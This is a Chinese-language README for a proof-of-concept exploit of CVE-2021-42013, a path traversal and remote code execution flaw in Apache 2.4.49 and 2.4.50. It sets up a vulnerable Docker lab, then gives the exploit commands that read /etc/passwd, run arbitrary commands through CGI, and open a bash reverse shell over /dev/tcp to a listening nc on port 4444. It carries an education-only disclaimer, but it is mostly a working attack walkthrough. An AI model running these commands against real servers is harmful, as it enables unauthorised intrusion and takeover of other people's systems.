⚠️ 仅供教育和授权的安全研究使用
非常感谢原始 PoC 作者 Walnut Security Services Pvt. Ltd
攻击者可以利用路径遍历攻击,将 URL 映射到由 Alias 类指令配置的目录之外的文件。如果这些目录之外的未受通常默认配置 "require all denied" 保护,这些请求可以成功。如果 CGI 脚本也对这些别名路径启用,则可能导致远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,不影响更早版本。
首先,克隆仓库
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
切换目录
cd CVE-2021-42013
构建漏洞容器
docker build -t CVE-2021-42013 .
运行临时容器
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
检查容器 IP 地址
docker inspect CVE-2021-42013 | grep "IPAddress"
赋予脚本可执行权限
chmod +x cve-2021-42013.sh
为测试并确认路径遍历,需要找到一个有效目录,本例中配置为 /icons。因此,执行以下命令将触发路径遍历漏洞并打印 /etc/passwd 的内容:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
为测试并确认远程代码执行,应配置并启用 CGI,本例中为真。因此,执行以下命令将触发远程代码执行并打印 id 命令的输出:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
从攻击者角度看,远程代码执行对于获取交互式 shell 至关重要。因此,执行以下命令将触发一个基于 bash 的传统反向 shell,连接到攻击者系统的 4444/tcp 端口:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444